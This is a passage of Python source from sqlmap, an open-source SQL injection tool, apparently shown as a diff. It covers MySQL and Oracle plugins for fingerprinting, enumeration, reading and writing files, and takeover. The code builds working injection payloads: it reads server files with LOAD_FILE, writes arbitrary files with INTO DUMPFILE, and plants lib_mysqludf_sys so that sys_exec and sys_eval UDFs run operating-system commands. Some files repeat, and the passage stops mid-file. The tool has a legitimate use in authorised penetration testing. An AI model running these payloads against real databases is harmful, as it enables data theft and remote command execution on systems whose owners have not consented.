logger.debug(debugMsg)
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)
if not length.isdigit() or not len(length) or length in ( "0", "1" ):
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException, errMsg
length = int(length)
sustrLen = 1024
if length > sustrLen:
result = []
for i in range(1, length, sustrLen):
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3)
result.append(chunk)
else:
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", True)
fcEncodedStr = fcEncodedList[0]
fcEncodedStrLen = len(fcEncodedStr)
if kb.injPlace == "GET" and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warn(warnMsg)
unionTest()
oldParamFalseCond = conf.paramFalseCond
conf.paramFalseCond = True
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg)
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
unionUse(sqlQuery, direct=True, unescape=False, nullChar="''")
conf.paramFalseCond = oldParamFalseCond
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to"
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", False)
debugMsg = "forging SQL statements to write the hexadecimal "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the hexadecimal encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
def udfSetRemotePath(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
# On Windows
if kb.os == "Windows":
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if banVer >= "5.1.19":
if self.__basedir is None:
logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = inject.getValue("SELECT @@basedir")
self.__basedir = normalizePath(ntToPosixSlashes(self.__basedir))
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
kb.os = "Windows"
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
#logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#self.__datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
self.__datadir = "."
self.__datadir = normalizePath(ntToPosixSlashes(self.__datadir))
if re.search("[\w]\:\/", self.__datadir, re.I):
kb.os = "Windows"
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
# On Linux
else:
# The SO can be in either /lib, /usr/lib or one of the
# paths specified in /etc/ld.so.conf file, none of these
# paths are writable by mysql user by default
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfSetLocalPaths(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
if kb.os == "Windows":
self.udfLocalFile += "/mysql/windows/32/lib_mysqludf_sys.dll"
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/mysql/linux/32/lib_mysqludf_sys.so"
self.udfSharedLibExt = "so"
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
ret = inpRet["return"]
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def uncPathRequest(self):
if not kb.stackedTest:
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
Request.queryPage(payload)
else:
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)

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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.settings import MYSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.mysql.enumeration import Enumeration
from plugins.dbms.mysql.filesystem import Filesystem
from plugins.dbms.mysql.fingerprint import Fingerprint
from plugins.dbms.mysql.syntax import Syntax
from plugins.dbms.mysql.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines MySQL methods
"""
def __init__(self):
self.excludeDbsList = MYSQL_SYSTEM_DBS
self.sysUdfs = {
# UDF name: UDF return data-type
"sys_exec": { "return": "int" },
"sys_eval": { "return": "string" },
"sys_bineval": { "return": "int" }
}
Syntax.__init__(self)
Fingerprint.__init__(self)
Enumeration.__init__(self)
Filesystem.__init__(self)
Miscellaneous.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(MySQLMap.unescape)

29
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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def __init__(self):
GenericEnumeration.__init__(self, "MySQL")

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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapNoneDataException
from lib.request import inject
from lib.techniques.inband.union.test import unionTest
from lib.techniques.inband.union.use import unionUse
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def __init__(self):
GenericFilesystem.__init__(self)
def unionReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
return result
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath()
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
debugMsg += "into temporary file '%s'" % tmpFile
logger.debug(debugMsg)
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
debugMsg = "loading the content of hexadecimal encoded file "
debugMsg += "'%s' into support table" % rFile
logger.debug(debugMsg)
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)
if not length.isdigit() or not len(length) or length in ( "0", "1" ):
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException, errMsg
length = int(length)
sustrLen = 1024
if length > sustrLen:
result = []
for i in range(1, length, sustrLen):
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3)
result.append(chunk)
else:
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", True)
fcEncodedStr = fcEncodedList[0]
fcEncodedStrLen = len(fcEncodedStr)
if kb.injPlace == "GET" and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warn(warnMsg)
unionTest()
oldParamFalseCond = kb.unionFalseCond
kb.unionFalseCond = True
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg)
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
unionUse(sqlQuery, direct=True, unescape=False, nullChar="''")
kb.unionFalseCond = oldParamFalseCond
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to"
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", False)
debugMsg = "forging SQL statements to write the hexadecimal "
debugMsg += "encoded file to the support table"
logger.debug(debugMsg)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the hexadecimal encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)

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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setDbms
from lib.core.settings import MYSQL_ALIASES
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self)
def __commentCheck(self):
infoMsg = "executing MySQL comment injection fingerprint"
logger.info(infoMsg)
query = agent.prefixQuery(" /* NoValue */")
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if not result:
warnMsg = "unable to perform MySQL comment injection"
logger.warn(warnMsg)
return None
# MySQL valid versions updated on 01/2010
versions = (
(32200, 32234), # MySQL 3.22
(32300, 32360), # MySQL 3.23
(40000, 40032), # MySQL 4.0
(40100, 40123), # MySQL 4.1
(50000, 50090), # MySQL 5.0
(50100, 50142), # MySQL 5.1
(50400, 50405), # MySQL 5.4
(50500, 50502), # MySQL 5.5
(60000, 60011), # MySQL 6.0
)
for element in versions:
prevVer = None
for version in range(element[0], element[1] + 1):
randInt = randomInt()
version = str(version)
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result:
if not prevVer:
prevVer = version
if version[0] == "3":
midVer = prevVer[1:3]
else:
midVer = prevVer[2]
trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
return trueVer
prevVer = version
return None
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
comVer = self.__commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if comVer:
comVer = formatDBMSfp([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
if re.search("-log$", kb.data.banner):
banVer += ", logging enabled"
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
"""
References for fingerprint:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
"""
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("MySQL %s" % kb.dbmsVersion[0])
if int(kb.dbmsVersion[0]) >= 5:
kb.data.has_information_schema = True
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "testing MySQL"
logger.info(infoMsg)
randInt = str(randomInt(1))
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
result = Request.queryPage(payload)
if result:
infoMsg = "confirming MySQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND ISNULL(1/0)")
result = Request.queryPage(payload)
if not result:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
return False
# Determine if it is MySQL >= 5.0.0
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt:
kb.data.has_information_schema = True
kb.dbmsVersion = [">= 5.0.0"]
setDbms("MySQL 5")
self.getBanner()
if not conf.extensiveFp:
return True
# Check if it is MySQL >= 5.5.0
if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2) == "6":
kb.dbmsVersion = [">= 5.5.0"]
# Check if it is MySQL >= 5.1.2 and < 5.5.0
elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False):
if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"]
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
kb.dbmsVersion = ["= 5.1.6"]
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
else:
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
# Check if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
else:
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
# Otherwise assume it is MySQL < 5.0.0
else:
kb.dbmsVersion = ["< 5.0.0"]
setDbms("MySQL 4")
self.getBanner()
if not conf.extensiveFp:
return True
# Check which version of MySQL < 5.0.0 it is
coercibility = inject.getValue("COERCIBILITY(USER())")
if coercibility == "3":
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
elif coercibility == "2":
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
elif inject.getValue("CURRENT_USER()"):
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
kb.dbmsVersion = ["= 4.1.0"]
else:
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0":
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
elif inject.getValue("CONNECTION_ID()"):
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
else:
kb.dbmsVersion = ["< 3.22.11"]
return True
else:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if kb.os:
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
if datadirSubstr == "/":
kb.os = "Linux"
else:
kb.os = "Windows"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)

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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapSyntaxException
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
def __init__(self):
GenericSyntax.__init__(self)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "%d" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += ","
expression = expression.replace(old, "CHAR(%s)" % unescaped)
else:
unescaped = "CHAR("
unescaped += ",".join("%d" % ord(c) for c in expression)
unescaped += ")"
expression = unescaped
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHAR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find(")")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.lstrip("CHAR(").rstrip(")")
oldUpper = oldUpper.split(",")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression

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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import randomStr
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def __init__(self):
self.__basedir = None
self.__datadir = None
GenericTakeover.__init__(self)
def udfSetRemotePath(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
# On Windows
if kb.os == "Windows":
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if banVer >= "5.1.19":
if self.__basedir is None:
logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = inject.getValue("SELECT @@basedir")
self.__basedir = normalizePath(ntToPosixSlashes(self.__basedir))
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
kb.os = "Windows"
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
#logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#self.__datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
self.__datadir = "."
self.__datadir = normalizePath(ntToPosixSlashes(self.__datadir))
if re.search("[\w]\:\/", self.__datadir, re.I):
kb.os = "Windows"
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
# On Linux
else:
# The SO can be in either /lib, /usr/lib or one of the
# paths specified in /etc/ld.so.conf file, none of these
# paths are writable by mysql user by default
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfSetLocalPaths(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
if kb.os == "Windows":
self.udfLocalFile += "/mysql/windows/32/lib_mysqludf_sys.dll"
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/mysql/linux/32/lib_mysqludf_sys.so"
self.udfSharedLibExt = "so"
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
ret = inpRet["return"]
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def uncPathRequest(self):
if not kb.stackedTest:
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
Request.queryPage(payload)
else:
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)

50
plugins/dbms/oracle/__init__.py Normal file
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@ -0,0 +1,50 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.settings import ORACLE_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.oracle.enumeration import Enumeration
from plugins.dbms.oracle.filesystem import Filesystem
from plugins.dbms.oracle.fingerprint import Fingerprint
from plugins.dbms.oracle.syntax import Syntax
from plugins.dbms.oracle.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Oracle methods
"""
def __init__(self):
self.excludeDbsList = ORACLE_SYSTEM_DBS
Syntax.__init__(self)
Fingerprint.__init__(self)
Enumeration.__init__(self)
Filesystem.__init__(self)
Miscellaneous.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(OracleMap.unescape)

37
plugins/dbms/oracle/enumeration.py Normal file
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@ -0,0 +1,37 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
